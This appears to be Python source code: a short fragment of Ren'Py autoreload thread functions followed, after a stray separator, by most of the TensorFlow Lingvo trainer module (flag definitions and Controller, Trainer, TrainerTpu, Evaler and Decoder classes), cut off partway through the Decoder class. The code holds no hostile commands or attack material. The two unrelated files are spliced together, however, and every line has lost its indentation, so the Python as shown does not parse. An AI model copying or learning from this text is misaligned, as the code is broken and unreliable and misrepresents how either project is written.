needs_autoreload = True
def auto_init():
"""
Starts the autoreload thread.
"""
global auto_thread
global auto_quit_flag
global needs_autoreload
needs_autoreload = False
if not renpy.autoreload:
return
auto_quit_flag = False
auto_thread = threading.Thread(target=auto_thread_function)
auto_thread.daemon = True
auto_thread.start()
def auto_quit():
"""
Terminates the autoreload thread.
"""
global auto_quit_flag
if auto_thread is None:
return
auto_quit_flag = True
with auto_lock:
auto_lock.notify_all()
auto_thread.join()
|
trainer.py | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
# pylint: disable=line-too-long
"""Trainer.
To run locally:
.. code-block:: bash
$ bazel build -c opt //lingvo:trainer
$ bazel-bin/lingvo/trainer --logtostderr \
--model=image.mnist.LeNet5 --mode=sync --logdir=/tmp/lenet5 --run_locally=cpu
To use GPU, add `--config=cuda` to build command and set `--run_locally=gpu`.
"""
# pylint: enable=line-too-long
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import inspect
import os
import re
import threading
import time
import numpy as np
import six
from six.moves import zip
import tensorflow as tf
from lingvo import base_runner
from tensorflow.contrib.tpu.python.tpu import tpu_function
from tensorflow.core.protobuf import config_pb2
from lingvo import base_trial
from lingvo import model_registry
from lingvo.core import base_model
from lingvo.core import base_model_params
from lingvo.core import cluster_factory
from lingvo.core import inference_graph_exporter
from lingvo.core import metrics
from lingvo.core import py_utils
tf.flags.DEFINE_string(
'model', '', 'Name of the model class to train. Must be one of those'
' defined in models.py.')
tf.flags.DEFINE_string(
'model_task_name', '', 'For multitask models: '
'select task to train/evaluate/decode. '
'Empty means to sample a task (training only).')
tf.flags.DEFINE_string('logdir', '', 'Log directory.')
tf.flags.DEFINE_bool(
'interactive', False,
'If True, enter interactive IPython for the controller job.')
tf.flags.DEFINE_string(
'run_locally', None,
'If True, ignores flags below and runs controller and trainer '
'in the single process.')
tf.flags.DEFINE_string('tf_master', '', 'TF runtime.')
tf.flags.DEFINE_string(
'cluster_spec', '', 'A tf.train.ClusterSpec to override the master. '
'The dict is specified as: job=host1:port1,host2:port2,'
'host3:port3@job2=host3:port4,...')
tf.flags.DEFINE_string(
'mode', 'async', 'How this trainer binary is used. '
'async: used in an async training setup; '
'sync: used in a sync training setup; '
'shell: an interactive shell for development; '
'inspect_evaler: print evaler dataset names; '
'inspect_decoder: print decoder dataset names; '
'write_inference_graph: write inference graphs to logdir.')
tf.flags.DEFINE_string('job', '', 'trainer/controller/eval, etc.')
tf.flags.DEFINE_integer('task', 0, 'Task id within the job.')
tf.flags.DEFINE_string('controller_job', '/job:controller', 'Job name.')
tf.flags.DEFINE_integer('controller_gpus', 0, 'Number of controller GPUs.')
tf.flags.DEFINE_string('worker_job', '/job:trainer', 'Job name.')
tf.flags.DEFINE_integer('worker_replicas', 1, 'Number of replicas.')
tf.flags.DEFINE_integer('worker_gpus', 0, 'Number of gpus to use per replica.')
tf.flags.DEFINE_integer('worker_tpus', 0, 'Number of tpus to use per replica.')
tf.flags.DEFINE_integer('worker_num_tpu_hosts', 0, 'Number of tpu hosts.')
tf.flags.DEFINE_integer('worker_split_size', 1,
'Number of devices for one split.')
tf.flags.DEFINE_string('ps_job', '/job:ps', 'Job name')
tf.flags.DEFINE_integer('ps_replicas', 1, 'Number of replicas.')
tf.flags.DEFINE_integer('ps_gpus', 0, 'Number of gpus to use per replica.')
tf.flags.DEFINE_string('input_job', '/job:input', 'Job name')
tf.flags.DEFINE_integer('input_replicas', 0, 'Number of replicas.')
tf.flags.DEFINE_string('evaler_job', '/job:evaler', 'Job name')
tf.flags.DEFINE_integer('evaler_replicas', 0, 'Number of replicas.')
tf.flags.DEFINE_integer('evaler_gpus', 0, 'Number of gpus to use per replica.')
tf.flags.DEFINE_string('decoder_job', '/job:decoder', 'Job name')
tf.flags.DEFINE_integer('decoder_replicas', 0, 'Number of replicas.')
tf.flags.DEFINE_integer('decoder_gpus', 0, 'Number of gpus to use per replica.')
tf.flags.DEFINE_bool(
'evaler_in_same_address_as_controller', False,
'Whether or not evaler is in the same address space as '
' controller. This flag is meant for unittest only.')
tf.flags.DEFINE_string(
'vizier_reporting_job', 'evaler',
'Job reponsible for reporting metrics. This specifies a '
'job prefix, evaler will match all evaler jobs, while '
'evaler_dev and decoder_dev will only match the corresponding '
'jobs that are on the dev set.')
FLAGS = tf.flags.FLAGS
# useful for debugging.
def _StartShell(local_ns=None):
# An interactive shell is useful for debugging/development.
import IPython # pylint: disable=g-import-not-at-top
user_ns = {}
if local_ns:
user_ns.update(local_ns)
user_ns.update(globals())
IPython.start_ipython(argv=[], user_ns=user_ns)
def _ModelAnalysis(model):
"""Returns a text showing variable sizes and their total size."""
class Analyzer(object):
def __init__(self):
self._seen_var = {}
self.total = 0
def __call__(self, v):
assert isinstance(v, tf.Variable)
# pylint: disable=protected-access
if not v.shape.is_fully_defined():
# Only Cudnn RNN params lack static shapes.
if hasattr(v, 'approx_size'):
size = v.approx_size
else:
return '%-20s %10s %s' % (v.shape, 'n/a', v._shared_name)
else:
size = v.shape.num_elements()
if v._shared_name not in self._seen_var:
self._seen_var[v._shared_name] = size
self.total += size
return '%-20s %10d %s' % (v.shape, size, v._shared_name)
analyzer = Analyzer()
output = '\n'
output += model.vars.Transform(analyzer).DebugString()
output += '\n'
output += '=' * 100
output += '\ntotal #params: %10d\n' % (analyzer.total)
return output, analyzer.total
class Controller(base_runner.BaseRunner):
"""Controller for a training cluster."""
def __init__(self, *args, **kwargs):
super(Controller, self).__init__(*args, **kwargs)
assert not self._model_task_name, 'Controller needs all tasks!'
self._save_path = os.path.join(self._train_dir, 'ckpt')
tf.gfile.MakeDirs(self._train_dir)
self._control_dir = os.path.join(self._logdir, 'control')
tf.gfile.MakeDirs(self._control_dir)
self._summary_writer = self._CreateSummaryWriter(self._control_dir)
self._time_steps = [] # A short history of (timestamp, global_step)
with self._graph.as_default(), tf.container(self._container_id):
with self._cluster, tf.device(self._cluster.GetPlacer()):
self._model = self.params.cls(self.params)
self._params = self._model.params
self._model.ConstructFPropBPropGraph()
self._saver = self._GetSaver()
self._summary_op = tf.summary.merge_all()
self._vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)
self._uninitialized = tf.report_uninitialized_variables(self._vars)
self._initialize_all = tf.global_variables_initializer()
self.initialize_tables = tf.tables_initializer()
self._initialize_local_vars = tf.local_variables_initializer()
self.enqueue_ops = tf.get_collection(py_utils.ENQUEUE_OPS)
self.close_queue_ops = tf.get_collection(py_utils.CLOSE_QUEUE_OPS)
self._ExportMetrics(params=self.params)
self._model_analysis, self._total_num_params = _ModelAnalysis(self._model)
py_utils.LogMultiLines('MODEL ANALYSIS', self._model_analysis)
self._WriteToLog(self._model_analysis, self._control_dir,
'model_analysis.txt')
self._WriteToLog(self.params.ToText(), self._control_dir, 'params.txt')
tf.train.write_graph(self._graph.as_graph_def(), self._control_dir,
'train.pbtxt')
def Start(self):
self._RunLoop('controller', self._Loop)
def StartEnqueueOp(self, op):
self._RunLoop(
'controller/enqueue_op/%s' % op.name, self._LoopEnqueue, loop_args=[op])
def _Loop(self):
self._summary_writer.add_graph(self._graph)
with tf.container(self._container_id), self._GetSession() as sess:
gsteps = self._model.global_step
examples = self._model.total_examples
if FLAGS.interactive:
# Into interactive debugging mode.
_StartShell(locals())
return
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
# TODO(zhifengc): Moves these options into params.
tp = self.params.train
save_interval_seconds = tp.save_interval_seconds
summary_interval_steps = tp.summary_interval_steps
next_checkpoint_seconds = 0
next_summary_step = 1
while True:
now = time.time()
next_iteration_seconds = now + 10 # 10 seconds
# Init/restore variable if needed.
self._RestoreIfNeeded(sess)
global_step, total_examples = sess.run([gsteps, examples])
step_rate, example_rate = self._RecordStepRate(global_step,
total_examples)
if self._trial.ShouldStop() or self._ShouldStop(sess, global_step):
tf.logging.info('Training finished.')
self._saver.save(sess, self._save_path, gsteps)
# Close all the queues so the enqueue threads can also finish.
for close_op in self.close_queue_ops:
sess.run(close_op)
sess.close()
return
# Checkpoint.
if now >= next_checkpoint_seconds:
tf.logging.info('Save checkpoint')
path = self._saver.save(sess, self._save_path, gsteps)
tf.logging.info('Save checkpoint done: %s', path)
next_checkpoint_seconds = now + save_interval_seconds
# Summary.
if self._summary_op is not None and global_step >= next_summary_step:
tf.logging.info('Write summary @%s', global_step)
summary_str = sess.run(self._summary_op)
if isinstance(summary_str, np.ndarray) and summary_str.size == 0:
tf.logging.info('Skipping summary: %s', summary_str)
else:
self._summary_writer.add_summary(summary_str, global_step)
self._SummarizeValue(global_step, 'total_num_params',
self._total_num_params)
next_summary_step = global_step + summary_interval_steps
tf.logging.info('Write summary done: step %d', global_step)
self._SetStatusMessage(
'step:%6d, steps/sec: %0.2f, examples/sec: %0.2f' %
(global_step, step_rate, example_rate))
self._ExportMetrics(
global_step=global_step,
step_rate=step_rate,
example_rate=example_rate)
now = time.time()
if now < next_iteration_seconds:
time.sleep(next_iteration_seconds - now)
def _RestoreIfNeeded(self, sess):
uninitialized_var_names = list(sess.run(self._uninitialized))
if not uninitialized_var_names:
return
tf.logging.info('Uninitialized var list: %s ', uninitialized_var_names)
path = tf.train.latest_checkpoint(self._train_dir)
if path:
tf.logging.info('Load from checkpoint %s.', path)
self._saver.restore(sess, path)
tf.logging.info('Load checkpoint done.')
return
if (not any(task.params.train.init_from_checkpoint_rules
for task in self._model.tasks) and
not self._params.train.init_from_checkpoint_rules):
tf.logging.info('Initialize ALL variables: %s', uninitialized_var_names)
sess.run([self._initialize_all])
tf.logging.info('Initialize variables done.')
return
# There was a race in local run. Another thread will get unblocked once
# _initialize_all is called. OverrideVarsFromCheckpoints
# might not happen at the right time.
for task in self._model.tasks:
tp = task.params.train
if tp.init_from_checkpoint_rules:
tf.logging.info('OverrideVarsFromCheckpoints %s',
tp.init_from_checkpoint_rules)
py_utils.OverrideVarsFromCheckpoints(sess, self._vars,
tp.init_from_checkpoint_rules)
if self._params.train.init_from_checkpoint_rules:
tp = self._params.train
tf.logging.info('OverrideVarsFromCheckpoints %s',
tp.init_from_checkpoint_rules)
py_utils.OverrideVarsFromCheckpoints(sess, self._vars,
tp.init_from_checkpoint_rules)
uninitialized_var_names = list(sess.run(self._uninitialized))
if not uninitialized_var_names:
return
# uninitialized_var_names is a list of strings without ":0" suffix.
assert all(isinstance(s, str) for s in uninitialized_var_names)
# Need to retrieve vars, removing ":0" suffix from names.
uninitialized_vars = [
v for v in self._vars if v.name[:-2] in uninitialized_var_names
]
tf.logging.info('Initialize variables: %s',
[v.name for v in uninitialized_vars])
sess.run(tf.variables_initializer(uninitialized_vars))
def _SummarizeValue(self, steps, tag, value):
self._summary_writer.add_summary(
metrics.CreateScalarSummary(tag, value), steps)
def _RecordStepRate(self, current_steps, total_examples):
"""Computes the overall step rate and adds a summary."""
self._time_steps.append((time.time(), current_steps, total_examples))
# Keeps a relative long history to compute a smooth steps/second.
# Removes duplicate stats for step = 0 to get rid of the warm-up period.
while (self._time_steps[-1][1] - self._time_steps[0][1] > 10000 or
(len(self._time_steps) > 1 and self._time_steps[-1][1] == 0 and
self._time_steps[0][1] == 0)):
del self._time_steps[0]
(t0, s0, e0), (t1, s1, e1) = self._time_steps[0], self._time_steps[-1]
rate = 0.0
example_rate = 0.0
if t1 > t0 + 1:
elapsed_secs = t1 - t0
rate = (s1 - s0) / elapsed_secs
example_rate = (e1 - e0) / elapsed_secs
tf.logging.info('Steps/second: %f, Examples/second: %f', rate, example_rate)
self._SummarizeValue(current_steps,
'%s/sec' % self._model.global_step.op.name, rate)
self._SummarizeValue(current_steps, 'examples/sec', example_rate)
return rate, example_rate
class Trainer(base_runner.BaseRunner):
"""Trainer on non-TPU."""
def __init__(self, *args, **kwargs):
super(Trainer, self).__init__(*args, **kwargs)
with self._graph.as_default(), tf.container(self._container_id):
with self._cluster, tf.device(self._cluster.GetPlacer()):
self._model = self.params.cls(self.params)
self._params = self._model.params
self._model.ConstructFPropBPropGraph()
self.initialize_tables = tf.tables_initializer()
self._initialize_local_vars = tf.local_variables_initializer()
self.enqueue_ops = tf.get_collection(py_utils.ENQUEUE_OPS)
self.close_queue_ops = tf.get_collection(py_utils.CLOSE_QUEUE_OPS)
tf.logging.info('Trainer number of enqueue ops: %d',
len(self.enqueue_ops))
try:
self._task_probs_summary_writers = []
for task in self._model.task_schedule.tasks:
path = os.path.join(os.path.join(self._train_dir, task))
tf.gfile.MakeDirs(path)
self._task_probs_summary_writers.append(self._CreateSummaryWriter(path))
except AttributeError:
tf.logging.info('AttributeError. Expected for single task models.')
self._task_probs_summary_writers = []
# Saves the graph def.
if self.params.cluster.task > 0:
self._summary_writer = None
else:
self._summary_writer = self._CreateSummaryWriter(self._train_dir)
tf.train.write_graph(self._graph.as_graph_def(), self._train_dir,
'train.pbtxt')
worker_id = self.params.cluster.task
self._start_up_delay_steps = (((worker_id + 1) * worker_id / 2) *
self.params.train.start_up_delay_steps)
def _SummarizeValue(self, steps, tag, value, writer):
if writer:
writer.add_summary(metrics.CreateScalarSummary(tag, value), steps)
def Start(self):
self._RunLoop('trainer', self._Loop)
def StartEnqueueOp(self, op):
self._RunLoop(
'trainer/enqueue_op/%s' % op.name, self._LoopEnqueue, loop_args=[op])
def _LoopEnqueue(self, op):
# Evaler/Controller jobs may find that the trial is infeasible and report
# done earlier. This is an important check since the trainer may retry
# indefinitely without it.
if self._trial.ShouldStop():
tf.logging.info('Training skipped (trial requested to stop).')
return
return super(Trainer, self)._LoopEnqueue(op)
def _Loop(self):
# Evaler/Controller jobs may find that the trial is infeasible and report
# done earlier. This is an important check since the trainer may retry
# indefinitely without it.
if self._trial.ShouldStop():
tf.logging.info('Training skipped (trial requested to stop).')
return
with tf.container(self._container_id), self._GetSession() as sess:
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
global_step = None
@py_utils.Retry(retry_value=(tf.errors.FailedPreconditionError,))
def _WaitTillInit():
"""Wait until the model is ready."""
try:
global_step = sess.run(self._model.global_step)
except tf.errors.FailedPreconditionError as e:
tf.logging.info('Probably the expected race on global_step: %s', e)
raise
msg = 'step:%6d' % global_step
self._SetStatusMessage(msg)
if global_step < self._start_up_delay_steps:
msg = 'global step (%d) has not reached start up delay steps (%d)' % (
global_step, self._start_up_delay_steps)
tf.logging.info('%s', msg)
raise tf.errors.FailedPreconditionError(
node_def=None, op=None, message=msg)
return global_step
global_step = _WaitTillInit()
status_interval_steps = 100
next_status_step = 1
eval_metrics = None
while True:
if (self._trial.ShouldStopAndMaybeReport(global_step, eval_metrics) or
self._ShouldStop(sess, global_step)):
tf.logging.info('Training finished.')
# Close all the queues so the enque threads can also finish.
for close_op in self.close_queue_ops:
sess.run(close_op)
if self._early_stop:
time.sleep(300) # controller hangs if it doesn't finish first
return
# If a task is explicitly specified, only train that task.
if self._model_task_name:
model_task = self._model.GetTask(self._model_task_name)
else:
# Note: This is a slightly stale global_step value from the previous
# sess.run() call.
# For multi-task models, `self._model.task_schedule.cur_probs` will
# be updated.
model_task = self._model.SampleTask(global_step)
if self._task_probs_summary_writers:
for index, prob in enumerate(self._model.task_schedule.cur_probs):
self._SummarizeValue(global_step, 'task_probability', prob,
self._task_probs_summary_writers[index])
try:
for index, task in enumerate(self._model.tasks):
self._SummarizeValue(global_step, 'task_weight',
sess.run(task.vars.task_weight),
self._task_probs_summary_writers[index])
except AttributeError:
pass
_, global_step, eval_metrics, per_example_tensors = sess.run([
model_task.train_op,
self._model.global_step,
model_task.eval_metrics,
model_task.per_example_tensors,
])
msg = 'step:%6d' % (global_step)
for key, (val, _) in sorted(six.iteritems(eval_metrics)):
msg += ' %s:%.8g' % (key, val)
self._SummarizeValue(global_step, key, val, self._summary_writer)
model_task.ProcessFPropResults(sess, global_step, eval_metrics,
per_example_tensors)
if global_step >= next_status_step:
self._SetStatusMessage(msg)
next_status_step = global_step + status_interval_steps
else:
tf.logging.info(msg)
self._model.ProcessFPropResults(sess, global_step, eval_metrics,
per_example_tensors)
class TrainerTpu(base_runner.BaseRunner):
"""Trainer on TPU."""
def __init__(self, *args, **kwargs):
super(TrainerTpu, self).__init__(*args, **kwargs)
# Multiple TPU trainer tasks not tested/implemented.
assert self._cluster.num_replicas == 1
data_parallelism = self._cluster.num_splits_per_client
assert data_parallelism
num_devices_per_split = self._cluster.num_devices_per_split
tf.logging.info('data_parallelism: %d, num_devices_per_split: %d',
data_parallelism, num_devices_per_split)
def ComputationShape(split_size):
"""Decides the computation shape based on the split_size."""
computation_shape = None
if split_size == 1:
computation_shape = [1, 1, 1]
elif split_size == 2:
computation_shape = [1, 1, 2]
elif split_size == 4:
computation_shape = [1, 2, 2]
elif split_size == 8:
computation_shape = [2, 2, 2]
elif split_size == 16:
computation_shape = [4, 2, 2]
else:
assert False, ('Model parallelism with %d devices is currently not'
' supported.' % split_size)
assert computation_shape is not None
return computation_shape
self._steps_per_loop = min(self.params.train.tpu_steps_per_loop,
self.params.train.max_steps)
self._initialized = threading.Event()
tf.logging.info(
'Creating TrainerTpu using data parallelism %s '
'and %s steps_per_loop', data_parallelism, self._steps_per_loop)
@py_utils.RetryOnTransientTfError()
def _WaitTillInit():
"""Wait until the model is ready."""
try:
with self._GetSession() as sess:
topology = sess.run(
tf.contrib.tpu.initialize_system(embedding_config=None, job=None))
device_assignment = tf.contrib.tpu.device_assignment(
topology,
computation_shape=ComputationShape(num_devices_per_split),
num_replicas=data_parallelism)
py_utils.SetTpuDeviceAssignment(device_assignment)
tf.logging.info('device_assignment.core_assignment: %s',
str(device_assignment.core_assignment))
tf.logging.info('device_assignment.topology.device_coordinates: %s',
str(device_assignment.topology.device_coordinates))
except py_utils.transient_tf_errors as e:
tf.logging.info('TPU initialization failed: %s', e)
raise
_WaitTillInit()
with self._graph.as_default(), tf.container(self._container_id):
with self._cluster, tf.device(self._cluster.job_spec.name):
self._eval_metrics = metrics.TpuEvalMetrics()
@tpu_function.on_device_training_loop
def TpuTrainStep(*args):
"""Train a shard of a batch on a single TPU core.
Args:
*args: metrics values from previous steps.
Returns:
New summed metrics values and a train_op.
"""
self._model = self.params.cls(self.params)
self._model.ConstructFPropBPropGraph()
per_step_eval_metrics = self._eval_metrics.SetMetrics(
self._model.GetTask().eval_metrics, args)
outfeed_op = self._OutfeedEnqueue(
self._model.GetTask().per_example_tensors)
summed_metrics = []
assert len(per_step_eval_metrics) == len(args)
with tf.control_dependencies([outfeed_op]):
for x, y in zip(per_step_eval_metrics, args):
summed_metrics.append(x + y)
return summed_metrics + [self._model.GetTask().train_op]
def TpuTrain():
loop_result = tf.contrib.tpu.repeat(
self._steps_per_loop,
TpuTrainStep,
inputs=self._eval_metrics.initial_values,
name='train_loop')
# Final metrics are the avg across self._steps_per_loop steps.
return self._eval_metrics.FinalizeMetrics(loop_result)
batch_parallel_res = tf.contrib.tpu.batch_parallel(
TpuTrain,
num_shards=data_parallelism,
device_assignment=py_utils.GetTpuDeviceAssignment())
outfeed_dequeue_op = self._OutfeedDequeueLoop(
self._model.GetTask().per_example_tensors, self._steps_per_loop,
self._cluster.num_splits_per_client)
# Get metric result from a single replica; they are all same here.
self._tpu_train_ops = [[t[0] for t in batch_parallel_res],
outfeed_dequeue_op]
self.initialize_tables = tf.tables_initializer()
self._initialize_local_vars = tf.local_variables_initializer()
self.enqueue_ops = tf.get_collection(py_utils.ENQUEUE_OPS)
assert not tf.get_collection(py_utils.CLOSE_QUEUE_OPS)
tf.logging.info('Trainer number of enqueue ops: %d',
len(self.enqueue_ops))
self._summary_writer = self._CreateSummaryWriter(self._train_dir)
# Saves the graph def.
tf.train.write_graph(self._graph.as_graph_def(), self._train_dir,
'train.pbtxt')
def _OutfeedEnqueue(self, per_example_tensors):
if not per_example_tensors:
return tf.no_op()
per_example_tensors = py_utils.NestedMap(per_example_tensors)
return tf.contrib.tpu.outfeed_enqueue_tuple(per_example_tensors.Flatten())
def _OutfeedDequeueLoop(self, per_example_tensors, num_loops, num_devices):
"""Process all per-example tensor outfeed data for a TPU sess.run.
Args:
per_example_tensors: dict of key -> tensor as generated by TpuTrainStep.
num_loops: number of times that TpuTrainStep will be executed by TpuTrain.
num_devices: number of TPU cores assigned to this process.
Returns:
A dict of per-example tensors from the latest TpuTrainStep.
"""
if not per_example_tensors:
return tf.no_op()
tensor_shapes = [
py_utils.GetShape(per_example_tensors[key])
for key in sorted(per_example_tensors)
]
tensor_types = [
tf.as_dtype(per_example_tensors[key].dtype)
for key in sorted(per_example_tensors)
]
def LoopBody(i, *input_arrays):
"""Process outfeed data for a single TpuTrainStep.
Args:
i: current loop index.
*input_arrays: One tf.TensorArray per outfeed tensor.
Returns:
i+1 (new index) plus post-write tf.TensorArray handles.
"""
# Outfeed ops execute on each JF node, so they must be located on the
# nodes.
outfeed_devices = []
device_assignment = py_utils.GetTpuDeviceAssignment()
assert device_assignment
for replica in xrange(device_assignment.num_replicas):
for core in xrange(device_assignment.num_cores_per_replica):
with tf.device(device_assignment.host_device(replica, core)):
outfeed_devices.append(
tf.contrib.tpu.outfeed_dequeue_tuple(
tensor_types,
tensor_shapes,
device_ordinal=device_assignment.tpu_ordinal(replica,
core)))
offset = i * num_devices
output_arrays = list(input_arrays)
# Each output_array holds a different per-example tensor. We get results
# for each tensor from each TPU for each TpuTrainStep call.
for j in range(len(output_arrays)):
for k in range(len(outfeed_devices)):
output_arrays[j] = output_arrays[j].write(offset + k,
outfeed_devices[k][j])
return tuple([i + 1] + output_arrays)
def LoopCond(i, *output_arrays):
del output_arrays
return i < num_loops
output_arrays = [
tf.TensorArray(
tensor_types[i],
size=num_loops * num_devices,
element_shape=tensor_shapes[i]) for i in range(len(tensor_shapes))
]
# Loop once for each time that TpuTrainStep runs.
output_arrays = tf.while_loop(
LoopCond, LoopBody, [0] + output_arrays, parallel_iterations=1)[1:]
concatenated_arrays = [array.concat() for array in output_arrays]
return dict(zip(sorted(per_example_tensors), concatenated_arrays))
def Start(self):
# Run training.
self._RunLoop('trainer', self._Loop)
def StartEnqueueOp(self, op):
self._RunLoop(
'trainer/enqueue_op/%s' % op.name, self._LoopEnqueue, loop_args=[op])
def _SummarizeValue(self, steps, tag, value):
self._summary_writer.add_summary(
metrics.CreateScalarSummary(tag, value), steps)
def _LoopEnqueue(self, op):
# Evaler/Controller jobs may find that the trial is infeasible and report
# done earlier. This is an important check since the trainer may retry
# indefinitely without it.
if self._trial.ShouldStop():
tf.logging.info('Training skipped (trial requested to stop).')
return
# Wait for _Loop to initialize variables first before attempting to infeed.
self._initialized.wait()
return super(TrainerTpu, self)._LoopEnqueue(op)
def _Loop(self):
# Evaler/Controller jobs may find that the trial is infeasible and report
# done earlier. This is an important check since the trainer may retry
# indefinitely without it.
if self._trial.ShouldStop():
tf.logging.info('Training skipped (trial requested to stop).')
return
with tf.container(self._container_id), self._GetSession() as sess:
sess.run(self.initialize_tables)
sess.run(self._initialize_local_vars)
sess.run(
tf.contrib.tpu.initialize_system(embedding_config=None, job=None))
if FLAGS.run_locally == 'tpu':
sess.run(tf.global_variables_initializer())
global_step, = sess.run([self._model.global_step])
self._initialized.set()
eval_metrics = None
while True:
if self._trial.ShouldStopAndMaybeReport(global_step, eval_metrics):
# Early terminate gracefully by setting a new max step horizon: three
# more TPU steps to ensure that the enqueue ops can gracefully
# terminate as well.
if self._max_steps is None:
self._max_steps = global_step + 3 * self._steps_per_loop
tf.logging.info('Early stopping at step: %d', self._max_steps)
if self._ShouldStop(sess, global_step):
tf.logging.info('Training finished.')
return
values, outfeeds = sess.run(self._tpu_train_ops)
eval_metrics = self._eval_metrics.PackMetricsValues(values)
# Note: global_step is incremented by self._steps_per_loop by the
# previous sess.run call.
global_step, = sess.run([self._model.global_step])
msg = 'step:%6d' % (global_step)
for key, (val, _) in sorted(six.iteritems(eval_metrics)):
msg += ' %s:%.8g' % (key, val)
self._SummarizeValue(global_step, key, val)
self._SetStatusMessage(msg)
task = self._model.GetTask()
if not task.per_example_tensors:
outfeeds = {}
task.ProcessFPropResults(sess, global_step, eval_metrics, outfeeds)
self._model.ProcessFPropResults(sess, global_step, eval_metrics,
outfeeds)
class Evaler(base_runner.BaseRunner):
"""Evaler."""
def __init__(self, eval_type, *args, **kwargs):
super(Evaler, self).__init__(*args, **kwargs)
self._job_name = 'evaler_' + eval_type
self._output_name = 'eval_' + eval_type
self.params.is_eval = True
self._eval_dir = os.path.join(self._logdir, self._output_name)
if self._model_task_name:
self._eval_dir += '_' + str(self._model_task_name)
tf.gfile.MakeDirs(self._eval_dir)
self._summary_writer = self._CreateSummaryWriter(self._eval_dir)
self._should_report_metrics = self._job_name.startswith(
FLAGS.vizier_reporting_job)
with self._graph.as_default(), tf.container(self._container_id):
with self._cluster, tf.device(self._cluster.GetPlacer()):
self._model = self.params.cls(self.params)
self._params = self._model.params
# Always create the same graph to make sure node names are always
# exactly the same.
self._model.ConstructFPropGraph()
self._model_task = self._model.GetTask(self._model_task_name)
self._saver = self._GetSaver()
self.initialize_tables = tf.tables_initializer()
self._initialize_local_vars = tf.local_variables_initializer()
# No queues are allowed for eval models.
self.enqueue_ops = tf.get_collection(py_utils.ENQUEUE_OPS)
assert not self.enqueue_ops
# Saves the graph def.
self._WriteToLog(self.params.ToText(), self._eval_dir, 'params.txt')
if self.params.cluster.task == 0:
tf.train.write_graph(self._graph.as_graph_def(), self._eval_dir,
'%s.pbtxt' % self._output_name)
def Start(self):
self._RunLoop(self._job_name, self._Loop)
def _Loop(self):
"""The main loop."""
with tf.container(self._container_id), self._GetSession() as sess:
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
path = None
while True:
path = self._FindNewCheckpoint(path, sess)
if not path or self._EvalOnce(path, sess):
break
self.EvalLatestCheckpoint(path)
if self._should_report_metrics:
self._trial.ReportDone()
tf.logging.info('Evaluation finished.')
def EvalLatestCheckpoint(self, last_path=None):
"""Runs eval once on the latest checkpoint."""
with tf.container(self._container_id), self._GetSession() as sess:
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
path = tf.train.latest_checkpoint(self._train_dir)
if not path:
tf.logging.info('No checkpoint available.')
return
elif path == last_path:
tf.logging.info('Latest checkpoint was already evaluated.')
return
self._EvalOnce(path, sess)
def _EvalOnce(self, path, sess):
"""Runs evaluation for a batch of samples.
Args:
path: checkpoint path.
sess: the tf Session.
Returns:
should_stop.
"""
if not FLAGS.evaler_in_same_address_as_controller:
self._LoadCheckpointForEval(sess, path)
global_step = sess.run(self._model.global_step)
metrics_dict = {
name: metrics.AverageMetric() for name in self._model_task.eval_metrics
}
num_samples_metric = metrics_dict['num_samples_in_batch']
while (num_samples_metric.total_value <
self._model_task.params.eval.samples_per_summary):
# NOTE: We intentionally do not let FProp generate summaries by default,
# because evaler calls FProp multiple times for each checkpoint. Multiple
# summaries at the same step is often confusing. Instead, models should
# update eval_metrics and generate aggregate summaries.
ans = sess.run(self._model_task.eval_metrics)
for name, (value, weight) in six.iteritems(ans):
metrics_dict[name].Update(value, weight)
tf.logging.info('Total examples done: %d/%d',
num_samples_metric.total_value,
self._model_task.params.eval.samples_per_summary)
# Replace average values with total values for certain metrics.
if 'num_predictions' in metrics_dict:
metrics_dict['num_predictions'].total_weight = 1.0
if 'num_words' in metrics_dict:
metrics_dict['num_words'].total_weight = 1.0
# When we have evaluated so many samples, generate a summary.
self._WriteSummaries(
self._summary_writer,
os.path.basename(self._eval_dir),
global_step, {k: v.Summary(k) for k, v in six.iteritems(metrics_dict)},
text_filename=os.path.join(self._eval_dir,
'score-{:08d}.txt'.format(global_step)))
should_stop = global_step >= self.params.train.max_steps
if self._should_report_metrics:
trial_should_stop = self._trial.ReportEvalMeasure(global_step,
metrics_dict, path)
should_stop = should_stop or trial_should_stop
return should_stop
def GetDecoderDir(logdir, decoder_type, model_task_name):
if model_task_name:
decoder_dir = '%s_%s' % (decoder_type, model_task_name)
else:
decoder_dir = decoder_type
return os.path.join(logdir, decoder_dir)
def _GetCheckpointIdForDecodeOut(checkpoint_path, global_step):
"""Retrieve the checkpoint id for the decoder out file.
Finds the checkpoint id in the checkpoint file name and compares to global
step. If they diverge, uses the retrieved id and prints a warning.
Args:
checkpoint_path: path to checkpoint file.
global_step: int specifying the global step of the model.
Returns:
Checkpoint id as int.
"""
ckpt_id_from_file = int(re.sub(r'.*ckpt-', '', checkpoint_path))
tf.logging.info('Loaded checkpoint is at global step: %d', global_step)
tf.logging.info('Checkpoint path: %s', checkpoint_path)
tf.logging.info('Checkpoint id according to checkpoint path: %d',
ckpt_id_from_file)
if global_step != ckpt_id_from_file:
tf.logging.warning(
'Checkpoint id %d != global step %d. '
'Will use checkpoint id from checkpoint file for '
'writing decoder output.', ckpt_id_from_file, global_step)
return ckpt_id_from_file
class Decoder(base_runner.BaseRunner):
"""Decoder."""
def __init__(self, decoder_type, *args, **kwargs):
super(Decoder, self).__init__(*args, **kwargs)
self._job_name = 'decoder_' + decoder_type
self.params.is_eval = True
self._decoder_dir = GetDecoderDir(self._logdir, self._job_name,
self._model_task_name)
tf.gfile.MakeDirs(self._decoder_dir)
self._summary_writer = self._CreateSummaryWriter(self._decoder_dir)
self._should_report_metrics = self._job_name.startswith(
FLAGS.vizier_reporting_job)
